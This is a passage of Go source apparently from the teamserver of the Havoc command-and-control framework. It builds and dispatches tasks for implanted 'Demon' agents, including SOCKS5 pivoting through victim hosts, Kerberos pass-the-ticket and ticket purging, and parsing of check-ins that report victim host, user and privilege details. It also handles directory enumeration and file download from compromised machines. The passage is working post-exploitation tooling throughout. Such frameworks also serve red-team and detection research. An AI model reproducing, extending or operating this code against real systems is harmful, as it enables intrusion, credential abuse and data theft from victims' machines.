SOCKET_COMMAND_RPORTFWD_REMOVE,
int(SocketID),
}
break
case "rportfwd clear":
job.Data = []interface{}{
SOCKET_COMMAND_RPORTFWD_CLEAR,
}
break
case "socks add":
if Param == "" {
return nil, fmt.Errorf("socks add requires a port")
}
var Socks *socks.Socks
var PortNum int
PortNum, err = strconv.Atoi(Param)
if err != nil || PortNum < 1 || PortNum > 65535 {
return nil, errors.New("invalid socks5 port")
}
var found = false
a.SocksSvrMtx.Lock()
for i := range a.SocksSvr {
if a.SocksSvr[i].Addr == Param {
/* socks proxy already exists! */
found = true
break
}
}
a.SocksSvrMtx.Unlock()
if found {
return nil, errors.New("a socks5 proxy on that port already exists")
}
Socks = socks.NewSocks("0.0.0.0:" + Param)
if Socks == nil {
return nil, errors.New("failed to create a new socks5 instance")
}
Socks.SetHandler(func(s *socks.Socks, conn net.Conn) {
var (
ConnectJob Job
NegotiationHeader socks.NegotiationHeader
SocksHeader socks.SocksHeader
err error
SocketId int32
)
// parse all the methods supported by the client
NegotiationHeader, err = socks.SubNegotiationClient(conn)
if err != nil {
logger.Error("Failed to read socks negotiation header: " + err.Error())
return
}
// we only support NOAUTH, there is no real need to support other types
HasNoAuth := false
for _, Method := range NegotiationHeader.Methods {
if Method == socks.NoAuth {
HasNoAuth = true
break
}
}
// is NOAUTH is not an option, then bail out
if HasNoAuth == false {
_, err = conn.Write([]byte{socks.Version, socks.NoMatch})
if err != nil {
logger.Error("Failed to send response to socks client: " + err.Error())
}
return
}
// tell the client that we support NOAUTH
_, err = conn.Write([]byte{socks.Version, socks.NoAuth})
if err != nil {
logger.Error("Failed to send response to socks client: " + err.Error())
return
}
SocksHeader, err = socks.ReadSocksHeader(conn)
if err != nil {
logger.Error("Failed to read socks header: " + err.Error())
return
}
/* check if it's a CONNECT command */
if SocksHeader.Command != socks.ConnectCommand {
err = socks.SendCommandNotSupported(conn)
if err != nil {
logger.Error("Failed to send response to socks client: " + err.Error())
return
}
return
}
// NOTE: if you don't want to support IPv6, uncomment this:
/*
if SocksHeader.ATYP == socks.IPv6 {
err = socks.SendAddressTypeNotSupported(conn)
if err != nil {
logger.Error("Failed to send response to socks client: " + err.Error())
return
}
return
}
*/
/* generate some random socket id */
SocketId = int32(rand.Uint32())
s.Clients = append(s.Clients, SocketId)
a.SocksClientAdd(SocketId, conn, SocksHeader.ATYP, SocksHeader.IpDomain, SocksHeader.Port)
/* now parse the host:port and send it to the agent. */
ConnectJob = Job{
Command: COMMAND_SOCKET,
Data: []any{
SOCKET_COMMAND_CONNECT,
SocketId,
SocksHeader.ATYP,
SocksHeader.IpDomain,
SocksHeader.Port,
},
}
a.AddJobToQueue(ConnectJob)
/* goroutine to read from socks proxy socket and send it to the agent */
go func(SocketId int) {
for {
/* check if the connection is still up */
if client := a.SocksClientGet(SocketId); client != nil {
if !client.Connected {
/* if we are still not connected then skip */
continue
}
if Data, err := a.SocksClientRead(client); err == nil {
/* only send the data if there is something... */
if len(Data) > 0 {
/* make a new job */
var job = Job{
Command: COMMAND_SOCKET,
Data: []any{
SOCKET_COMMAND_WRITE,
client.SocketID,
Data,
},
}
/* append the job to the task queue */
a.AddJobToQueue(job)
}
} else {
if err != io.EOF {
/* we failed to read from the socks proxy */
logger.Error(fmt.Sprintf("Failed to read from socket %08x: %v", SocketId, err))
a.SocksClientClose(int32(SocketId))
/* make a new job */
var job = Job{
Command: COMMAND_SOCKET,
Data: []any{
SOCKET_COMMAND_CLOSE,
int32(SocketId),
},
}
/* append the job to the task queue */
a.AddJobToQueue(job)
}
break
}
} else {
/* seems like it has been removed. let's exit this routine */
break
}
}
}(int(SocketId))
})
/* TODO: append the socket to a list/array now */
a.SocksSvrMtx.Lock()
a.SocksSvr = append(a.SocksSvr, &SocksServer{
Server: Socks,
Addr: Param,
})
a.SocksSvrMtx.Unlock()
go func() {
err := Socks.Start()
if err != nil {
Socks.Failed = true
if Message != nil {
*Message = map[string]string{
"Type": "Error",
"Message": fmt.Sprintf("Failed to start socks proxy: %v", err),
"Output": "",
}
}
return
}
}()
if Message != nil {
if !Socks.Failed {
var(
msg string
)
if a.Info.SleepDelay == 0 && a.Info.SleepJitter == 0 {
msg = fmt.Sprintf("Started socks5 server on port %v", Param)
} else {
msg = fmt.Sprintf("Started socks5 server on port %v. Consider running: sleep 0", Param)
}
*Message = map[string]string{
"Type": "Good",
"Message": msg,
"Output": "",
}
}
}
return nil, nil
case "socks list":
var Output string
Output += fmt.Sprintf("\n")
Output += fmt.Sprintf(" Port \n")
Output += fmt.Sprintf(" ---- \n")
a.SocksSvrMtx.Lock()
for _, server := range a.SocksSvr {
Output += fmt.Sprintf(" %s \n", server.Addr)
}
a.SocksSvrMtx.Unlock()
if Message != nil {
*Message = map[string]string{
"Type": "Info",
"Message": "Socks proxy server: ",
"Output": Output,
}
}
return nil, nil
case "socks kill":
/* TODO: send a queue of tasks to kill every socks proxy client that uses this proxy */
var found = false
a.SocksSvrMtx.Lock()
for i := range a.SocksSvr {
if a.SocksSvr[i].Addr == Param {
/* alright we found it */
found = true
/* close the server */
a.SocksSvr[i].Server.Close()
/* close every connection that the agent has with this socks proxy */
for client := range a.SocksSvr[i].Server.Clients {
/* close the client connection */
a.SocksClientClose(a.SocksSvr[i].Server.Clients[client])
/* make a new job */
var job = Job{
Command: COMMAND_SOCKET,
Data: []any{
SOCKET_COMMAND_CLOSE,
a.SocksSvr[i].Server.Clients[client],
},
}
/* append the job to the task queue */
a.AddJobToQueue(job)
}
/* remove the socks server from the array */
a.SocksSvr = append(a.SocksSvr[:i], a.SocksSvr[i+1:]...)
break
}
}
a.SocksSvrMtx.Unlock()
if found {
if Message != nil {
*Message = map[string]string{
"Type": "Info",
"Message": "Closed socks proxy " + Param,
}
}
} else {
if Message != nil {
*Message = map[string]string{
"Type": "Info",
"Message": "Failed to find and close socks proxy " + Param,
}
}
}
return nil, nil
case "socks clear":
/* TODO: send a queue of tasks to kill every socks proxy client that uses this proxy */
a.SocksSvrMtx.Lock()
for i := range a.SocksSvr {
/* close the server */
a.SocksSvr[i].Server.Close()
/* close every connection that the agent has with this socks proxy */
for client := range a.SocksSvr[i].Server.Clients {
/* close the client connection */
a.SocksClientClose(a.SocksSvr[i].Server.Clients[client])
/* make a new job */
var job = Job{
Command: COMMAND_SOCKET,
Data: []any{
SOCKET_COMMAND_CLOSE,
a.SocksSvr[i].Server.Clients[client],
},
}
/* append the job to the task queue */
a.AddJobToQueue(job)
}
/* remove the socks server from the array */
a.SocksSvr = append(a.SocksSvr[:i], a.SocksSvr[i+1:]...)
}
a.SocksSvrMtx.Unlock()
if Message != nil {
*Message = map[string]string{
"Type": "Info",
"Message": "Successfully closed all socks proxies " + Param,
}
}
return nil, nil
}
break
case COMMAND_KERBEROS:
var (
SubCommand string
)
if val, ok := Optional["Command"]; ok {
SubCommand = val.(string)
} else {
return job, errors.New("kerberos field Command is empty")
}
switch SubCommand {
case "luid":
job.Data = []interface{}{
KERBEROS_COMMAND_LUID,
}
break
case "klist":
var (
luid int64
arg1 string
arg2 string
)
if val, ok := Optional["Argument1"]; ok {
arg1 = val.(string)
} else {
return job, errors.New("klist field Argument1 is empty")
}
if arg1 == "/all" {
job.Data = []interface{}{
KERBEROS_COMMAND_KLIST,
0,
}
} else if arg1 == "/luid" {
if val, ok := Optional["Argument2"]; ok {
arg2 = val.(string)
if strings.HasPrefix(arg2, "0x") {
luid, err = strconv.ParseInt(arg2[2:], 16, 64)
} else {
luid, err = strconv.ParseInt(arg2, 16, 64)
}
if err != nil {
return job, errors.New("Invalid Luid value: " + arg2)
}
} else {
return job, errors.New("klist field Argument2 is empty")
}
job.Data = []interface{}{
KERBEROS_COMMAND_KLIST,
1,
int(luid),
}
}
break
case "purge":
var (
luid int64
arg1 string
)
if val, ok := Optional["Argument"]; ok {
arg1 = val.(string)
} else {
return job, errors.New("purge field Argument is empty")
}
if strings.HasPrefix(arg1, "0x") {
luid, err = strconv.ParseInt(arg1[2:], 16, 64)
} else {
luid, err = strconv.ParseInt(arg1, 16, 64)
}
if err != nil {
return job, errors.New("Invalid Luid value: " + arg1)
}
job.Data = []interface{}{
KERBEROS_COMMAND_PURGE,
int(luid),
}
break
case "ptt":
var (
luid int64
arg string
ticket []byte
)
ticket, err = base64.StdEncoding.DecodeString(Optional["Ticket"].(string))
if err != nil {
return job, errors.New("ptt field Ticket is invalid")
}
if val, ok := Optional["Luid"]; ok {
arg = val.(string)
} else {
return job, errors.New("ptt field Luid is empty")
}
if strings.HasPrefix(arg, "0x") {
luid, err = strconv.ParseInt(arg[2:], 16, 64)
} else {
luid, err = strconv.ParseInt(arg, 16, 64)
}
if err != nil {
return job, errors.New("Invalid Luid value: " + arg)
}
job.Data = []interface{}{
KERBEROS_COMMAND_PTT,
ticket,
int(luid),
}
break
default:
}
break
default:
return job, errors.New(fmt.Sprint("Command not found", Command))
}
return job, nil
}
func (a *Agent) TaskDispatch(RequestID uint32, CommandID uint32, Parser *parser.Parser, teamserver TeamServer) {
var NameID, _ = strconv.ParseInt(a.NameID, 16, 64)
AgentID := int(NameID)
/* if the RequestID was not generated by the TS, reject the request */
if a.IsKnownRequestID(teamserver, RequestID, CommandID) == false {
logger.Warn(fmt.Sprintf("Agent: %x, CommandID: %d, unknown RequestID: %x. This is either a bug or malicious activity", AgentID, CommandID, RequestID))
return
}
switch CommandID {
case COMMAND_GET_JOB:
/* this is most likely never going to reach. but just in case... */
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_GET_JOB ??", AgentID))
break
case COMMAND_EXIT:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var (
ExitMethod = Parser.ParseInt32()
Message = make(map[string]string)
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_EXIT, ExitMethod: %d", AgentID, ExitMethod))
if ExitMethod == 1 {
Message["Type"] = "Good"
Message["Message"] = "Agent has been tasked to cleanup and exit thread. cya..."
} else if ExitMethod == 2 {
Message["Type"] = "Good"
Message["Message"] = "Agent has been tasked to cleanup and exit process. cya..."
}
teamserver.Died(a)
a.RequestCompleted(RequestID)
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_EXIT, Invalid packet", AgentID))
}
case COMMAND_KILL_DATE:
var (
Message = make(map[string]string)
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KILL_DATE", AgentID))
Message["Type"] = "Good"
Message["Message"] = "Agent has been reached its kill date, tasked to cleanup and exit thread. cya..."
teamserver.Died(a)
a.RequestCompleted(RequestID)
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)
case COMMAND_CHECKIN:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CHECKIN", AgentID))
var Message = make(map[string]string)
Message["Type"] = "Info"
Message["Message"] = "Received checkin request"
if Parser.Length() >= 32+16 {
var (
DemonID int
Hostname string
DomainName string
Username string
InternalIP string
ProcessName string
ProcessPID int
ProcessTID int
OsVersion []int
OsArch int
Elevated int
BaseAddress int64
ProcessArch int
ProcessPPID int
SleepDelay int
SleepJitter int
KillDate int64
WorkingHours int32
)
a.Encryption.AESKey = Parser.ParseAtLeastBytes(32)
a.Encryption.AESIv = Parser.ParseAtLeastBytes(16)
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt64, parser.ReadInt32}) {
DemonID = Parser.ParseInt32()
Hostname = Parser.ParseString()
Username = Parser.ParseString()
DomainName = Parser.ParseString()
InternalIP = Parser.ParseString()
ProcessName = Parser.ParseUTF16String()
ProcessPID = Parser.ParseInt32()
ProcessTID = Parser.ParseInt32()
ProcessPPID = Parser.ParseInt32()
ProcessArch = Parser.ParseInt32()
Elevated = Parser.ParseInt32()
BaseAddress = Parser.ParseInt64()
OsVersion = []int{Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32()}
OsArch = Parser.ParseInt32()
SleepDelay = Parser.ParseInt32()
SleepJitter = Parser.ParseInt32()
KillDate = Parser.ParseInt64()
WorkingHours = int32(Parser.ParseInt32())
a.Active = true
a.NameID = fmt.Sprintf("%08x", DemonID)
a.Info.FirstCallIn = a.Info.FirstCallIn
a.Info.LastCallIn = a.Info.LastCallIn
a.Info.Hostname = Hostname
a.Info.DomainName = DomainName
a.Info.Username = Username
a.Info.InternalIP = InternalIP
a.Info.SleepDelay = SleepDelay
a.Info.SleepJitter = SleepJitter
a.Info.KillDate = KillDate
a.Info.WorkingHours = WorkingHours
// a.Info.ExternalIP = strings.Split(connection.RemoteAddr().String(), ":")[0]
// a.Info.Listener = t.Name
switch ProcessArch {
case PROCESS_ARCH_UNKNOWN:
a.Info.ProcessArch = "Unknown"
break
case PROCESS_ARCH_X64:
a.Info.ProcessArch = "x64"
break
case PROCESS_ARCH_X86:
a.Info.ProcessArch = "x86"
break
case PROCESS_ARCH_IA64:
a.Info.ProcessArch = "IA64"
break
default:
a.Info.ProcessArch = "Unknown"
break
}
a.Info.OSVersion = getWindowsVersionString(OsVersion)
switch OsArch {
case 0:
a.Info.OSArch = "x86"
case 9:
a.Info.OSArch = "x64/AMD64"
case 5:
a.Info.OSArch = "ARM"
case 12:
a.Info.OSArch = "ARM64"
case 6:
a.Info.OSArch = "Itanium-based"
default:
a.Info.OSArch = "Unknown (" + strconv.Itoa(OsArch) + ")"
}
a.Info.Elevated = "false"
if Elevated == 1 {
a.Info.Elevated = "true"
}
process := strings.Split(ProcessName, "\\")
a.Info.ProcessName = process[len(process)-1]
a.Info.ProcessPID = ProcessPID
a.Info.ProcessTID = ProcessTID
a.Info.ProcessPPID = ProcessPPID
a.Info.ProcessPath = ProcessName
a.Info.BaseAddress = BaseAddress
a.SessionDir = logr.LogrInstance.AgentPath + "/" + a.NameID
Message["Output"] = fmt.Sprintf(
"\n"+
"Teamserver:\n"+
" - Session Path : %v\n"+
"\n"+
"Meta Data:\n"+
" - Agent ID : %v\n"+
" - Magic Value : %x\n"+
" - First Call In : %v\n"+
" - Last Call In : %v\n"+
" - AES Key : %v\n"+
" - AES IV : %v\n"+
" - Sleep Delay : %v\n"+
" - Sleep Jitter : %v\n"+
"\n"+
"Host Info:\n"+
" - Host Name : %v\n"+
" - User Name : %v\n"+
" - Domain Name : %v\n"+
" - Internal IP : %v\n"+
"\n"+
"Process Info:\n"+
" - Process Name : %v\n"+
" - Process Arch : %v\n"+
" - Process ID : %v\n"+
" - Thread ID : %v\n"+
//" - Process Parent ID : %v\n" +
" - Process Path : %v\n"+
" - Process Elevated : %v\n"+
" - Base Address : 0x%x\n"+
"\n"+
"Operating System:\n"+
" - Version : %v\n"+
" - Build : %v.%v.%v.%v.%v\n"+
" - Arch : %v\n"+
"",
// Teamserver
a.SessionDir,
// Meta Data
a.NameID,
a.Info.MagicValue,
a.Info.FirstCallIn,
a.Info.LastCallIn,
hex.EncodeToString(a.Encryption.AESKey),
hex.EncodeToString(a.Encryption.AESIv),
a.Info.SleepDelay,
a.Info.SleepJitter,
// Host info
a.Info.Hostname,
a.Info.Username,
a.Info.DomainName,
a.Info.InternalIP,
// Process Info
a.Info.ProcessName,
a.Info.ProcessArch,
a.Info.ProcessPID,
a.Info.ProcessTID,
//a.Info.ProcessPPID,
a.Info.ProcessPath,
a.Info.Elevated,
a.Info.BaseAddress,
// Operating System Info
a.Info.OSVersion,
OsVersion[0], OsVersion[1], OsVersion[2], OsVersion[3], OsVersion[4],
a.Info.OSArch,
// TODO: add Optional data too
)
teamserver.AgentUpdate(a)
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CHECKIN, Invalid packet", AgentID))
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CHECKIN, Invalid packet", AgentID))
}
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)
break
case DEMON_INFO:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var (
InfoID = int(Parser.ParseInt32())
Output = make(map[string]string)
)
Output["Type"] = "Info"
switch InfoID {
case DEMON_INFO_MEM_ALLOC:
if Parser.CanIRead([]parser.ReadType{parser.ReadPointer, parser.ReadInt32, parser.ReadInt32}) {
var (
MemPointer = Parser.ParsePointer()
MemSize = Parser.ParseInt32()
ProtectionId = Parser.ParseInt32()
Protection string
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_ALLOC, MemPointer: %x, MemSize: %x, ProtectionId: %d", AgentID, MemPointer, MemSize, ProtectionId))
if s, ok := win32.Protections[int(ProtectionId)]; ok {
Protection = s[1]
} else {
Protection = "UNKNOWN"
}
Output["Message"] = fmt.Sprintf("Memory Allocated : Pointer:[0x%x] Size:[%d] Protection:[%v]", MemPointer, MemSize, Protection)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_ALLOC, Invalid packet", AgentID))
}
break
case DEMON_INFO_MEM_EXEC:
if Parser.CanIRead([]parser.ReadType{parser.ReadPointer, parser.ReadInt32}) {
var (
MemFunction = Parser.ParsePointer()
ThreadId = Parser.ParseInt32()
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_EXEC, MemFunction: %x, ThreadId: %d", AgentID, MemFunction, ThreadId))
Output["Message"] = fmt.Sprintf("Memory Executed : Function:[0x%x] ThreadId:[%d]", MemFunction, ThreadId)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_EXEC, Invalid packet", AgentID))
}
break
case DEMON_INFO_MEM_PROTECT:
if Parser.CanIRead([]parser.ReadType{parser.ReadPointer, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {
var (
Memory = Parser.ParsePointer()
MemorySize = Parser.ParseInt32()
OldProtection = Parser.ParseInt32()
Protection = Parser.ParseInt32()
ProcString string
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_PROTECT, Memory: %x, MemorySize: %x, OldProtection: %d, Protection: %d", AgentID, Memory, MemorySize, OldProtection, Protection))
if s, ok := win32.Protections[OldProtection]; ok {
ProcString = s[1] + " -> "
} else {
ProcString = "UNKNOWN" + " -> "
}
if s, ok := win32.Protections[Protection]; ok {
ProcString += s[1]
} else {
ProcString += "UNKNOWN"
}
Output["Message"] = fmt.Sprintf("Memory Protection: Memory:[0x%x] Size:[%d] Protection[%v]", Memory, MemorySize, ProcString)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_PROTECT, Invalid packet", AgentID))
}
break
default:
logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - UNKNOWN (%d)", AgentID, InfoID))
}
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)
a.RequestCompleted(RequestID)
break
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO, invalid packet", AgentID))
}
case COMMAND_SLEEP:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {
var Output = make(map[string]string)
a.Info.SleepDelay = Parser.ParseInt32()
a.Info.SleepJitter = Parser.ParseInt32()
teamserver.AgentUpdate(a)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SLEEP, SleepDelay: %d, SleepJitter: %d", AgentID, a.Info.SleepDelay, a.Info.SleepJitter))
Output["Type"] = "Good"
Output["Message"] = fmt.Sprintf("Set sleep interval to %v seconds with %v%% jitter", a.Info.SleepDelay, a.Info.SleepJitter)
a.RequestCompleted(RequestID)
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SLEEP, Invalid packet", AgentID))
}
break
case COMMAND_JOB:
var Message = make(map[string]string)
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var SubCommand = Parser.ParseInt32()
switch SubCommand {
case DEMON_COMMAND_JOB_LIST:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_LIST", AgentID))
var Output string
Output += fmt.Sprintf(" %-6s %-13s %-5s\n", "Job ID", "Type", "State")
Output += fmt.Sprintf(" %-6s %-13s %-5s\n", "------", "----", "-----")
for Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {
var (
JobID int
Type int
State int
StringType string
StringState string
)
JobID = Parser.ParseInt32()
Type = Parser.ParseInt32()
State = Parser.ParseInt32()
if Type == 0x1 {
StringType = "Thread"
} else if Type == 0x2 {
StringType = "Process"
} else if Type == 0x3 {
StringType = "Track Process"
} else {
StringType = "Unknown"
}
if State == 0x1 {
StringState = "Running"
} else if State == 0x2 {
StringState = "Suspended"
} else if State == 0x3 {
StringState = "Dead"
} else {
StringState = "Unknown"
}
Output += fmt.Sprintf(" %-6v %-13s %-5s\n", JobID, StringType, StringState)
}
Message["Type"] = "Info"
Message["Message"] = "Job list:"
Message["Output"] = "\n" + Output
break
case DEMON_COMMAND_JOB_SUSPEND:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {
var (
JobID = Parser.ParseInt32()
Success = Parser.ParseInt32()
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_SUSPEND, JobID: %v, Success: %d", AgentID, JobID, Success))
if Success == win32.TRUE {
Message["Type"] = "Good"
Message["Message"] = fmt.Sprintf("Successful suspended job %v", JobID)
} else {
Message["Type"] = "Error"
Message["Message"] = fmt.Sprintf("Failed to suspended job %v", JobID)
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_SUSPEND, Invalid packet", AgentID))
}
break
case DEMON_COMMAND_JOB_RESUME:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {
var (
JobID = Parser.ParseInt32()
Success = Parser.ParseInt32()
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_RESUME, JobID: %v, Success: %d", AgentID, JobID, Success))
if Success == win32.TRUE {
Message["Type"] = "Good"
Message["Message"] = fmt.Sprintf("Successful resumed job %v", JobID)
} else {
Message["Type"] = "Error"
Message["Message"] = fmt.Sprintf("Failed to resumed job %v", JobID)
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_RESUME, Invalid packet", AgentID))
}
break
case DEMON_COMMAND_JOB_KILL_REMOVE:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {
var (
JobID = Parser.ParseInt32()
Success = Parser.ParseInt32()
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_KILL_REMOVE, JobID: %v, Success: %d", AgentID, JobID, Success))
if Success == win32.TRUE {
Message["Type"] = "Good"
Message["Message"] = fmt.Sprintf("Successful killed and removed job %v", JobID)
} else {
Message["Type"] = "Error"
Message["Message"] = fmt.Sprintf("Failed to kill job %v", JobID)
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_KILL_REMOVE, Invalid packet", AgentID))
}
break
case DEMON_COMMAND_JOB_DIED:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_DIED", AgentID))
// this message is sent by the agent when a created process dies
a.RequestCompleted(RequestID)
break
default:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - UNKNOWN (%d)", AgentID, SubCommand))
}
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)
a.RequestCompleted(RequestID)
break
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB, Invalid packet", AgentID))
}
case COMMAND_FS:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var (
SubCommand = Parser.ParseInt32()
Output = make(map[string]string)
)
switch SubCommand {
case DEMON_COMMAND_FS_DIR:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DIR", AgentID))
if Parser.CanIRead([]parser.ReadType{parser.ReadBool, parser.ReadBool, parser.ReadBytes, parser.ReadBool}) {
var (
Explorer = Parser.ParseBool()
ListOnly = Parser.ParseBool()
StartPath = Parser.ParseUTF16String()
Success = Parser.ParseBool()
ReadOne = false
Dir string
DirMap = make(map[string]any)
DirArr []map[string]string
WhatToRead []parser.ReadType
)
if ! Success {
Output["Type"] = "Error"
Output["Message"] = "Failed to enumerate files/folders at specified path: " + StartPath
} else {
IsFirst := true
if ListOnly {
WhatToRead = []parser.ReadType{parser.ReadBytes}
} else {
WhatToRead = []parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt64}
}
for Parser.CanIRead(WhatToRead) {
var (
RootDirPath = Parser.ParseUTF16String()
NumFiles = Parser.ParseInt32()
NumDirs = Parser.ParseInt32()
TotalFileSize int64 = 0
ItemsLeft = NumFiles + NumDirs
)
if !ListOnly {
TotalFileSize = Parser.ParseInt64()
}
if !ListOnly && !Explorer && NumFiles + NumDirs > 0 {
if IsFirst {
IsFirst = false
Dir += fmt.Sprintf(" Directory of %s:\n\n", RootDirPath)
} else {
Dir += fmt.Sprintf("\n\n Directory of %s:\n\n", RootDirPath)
}
}
for (ItemsLeft > 0 && ((ListOnly && Parser.CanIRead([]parser.ReadType{parser.ReadBytes})) || (!ListOnly && Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBool, parser.ReadInt64, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32})))) {
var (
FileName = Parser.ParseUTF16String()
IsDir = false
FileSize int64 = 0
LastAccessDay = 0
LastAccessMonth = 0
LastAccessYear = 0
LastAccessMinute = 0
LastAccessHour = 0
Size string
Type string
LastModified string
DirText string
)
if !ListOnly {
IsDir = Parser.ParseBool()
FileSize = Parser.ParseInt64()
LastAccessDay = Parser.ParseInt32()
LastAccessMonth = Parser.ParseInt32()
LastAccessYear = Parser.ParseInt32()
LastAccessMinute = Parser.ParseInt32()
LastAccessHour = Parser.ParseInt32()
}
ReadOne = true
if ListOnly {
Dir += fmt.Sprintf("%s%s\n", RootDirPath[:len(RootDirPath)-1], FileName)
} else {
LastModified = fmt.Sprintf("%02d/%02d/%d %02d:%02d", LastAccessDay, LastAccessMonth, LastAccessYear, LastAccessHour, LastAccessMinute)
if IsDir {
Type = "dir"
DirText = "
"
Size = ""
} else {
DirText = ""
Size = common.ByteCountSI(int64(FileSize))
}
if Explorer {
DirArr = append(DirArr, map[string]string{
"Type": Type,
"Size": Size,
"Modified": LastModified,
"Name": FileName,
})
} else {
Dir += fmt.Sprintf("%-17s %-5s %-12s %-8s\n", LastModified, DirText, Size, FileName)
}
}
ItemsLeft -= 1
}
if NumFiles + NumDirs > 0 && !Explorer && !ListOnly {
Dir += fmt.Sprintf(" %d File(s) %s\n", NumFiles, common.ByteCountSI(TotalFileSize))
Dir += fmt.Sprintf(" %d Folder(s)", NumDirs)
}
if Explorer {
DirMap["Path"] = []byte(RootDirPath)
DirMap["Files"] = DirArr
DirJson, err := json.Marshal(DirMap)
if err != nil {
logger.Debug("[Error] " + err.Error())
} else {
Output["MiscType"] = "FileExplorer"
Output["MiscData"] = base64.StdEncoding.EncodeToString(DirJson)
}
}
}
if !Explorer {
if ReadOne == false {
Output["Type"] = "Info"
Output["Output"] = "No file or folder was found"
} else {
Output["Type"] = "Info"
Output["Output"] = Dir
}
}
}
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DIR, Invalid packet", AgentID))
}
break
case DEMON_COMMAND_FS_DOWNLOAD:
/*
* Download Header:
* [ Mode ] Open ( 0 ), Write ( 1 ) or Close ( 2 )
* [ File ID ] Download File ID
*
* Data (Open):
* [ File Size ]
* [ File Name ]
*
* Data (Write)
* [ Chunk Data ] Size + FileChunk
*
* Data (Close):
* [ File Name ]
* [ Reason ] Removed or Finished
* */
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {
var (
Mode = Parser.ParseInt32()
FileID = Parser.ParseInt32()
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DOWNLOAD, Mode: %d, FileID: %x", AgentID, Mode, FileID))
switch Mode {
/* File Open */
case 0x0:
logger.Debug(fmt.Sprintf("Download open FileID:[%x]", FileID))
if Parser.CanIRead([]parser.ReadType{parser.ReadInt64, parser.ReadBytes}) {
var (
FileSize = Parser.ParseInt64()
FileName = Parser.ParseUTF16String()
Size = common.ByteCountSI(FileSize)
)
Output["Type"] = "Info"
Output["Message"] = fmt.Sprintf("Started download of file: %v [%v]", FileName, Size)
if err := a.DownloadAdd(FileID, FileName, FileSize); err != nil {
Output["Type"] = "Error"
Output["Message"] = err.Error()
} else {
Output["MiscType"] = "download"
Output["MiscData2"] = base64.StdEncoding.EncodeToString([]byte(FileName)) + ";" + Size
}
} else {
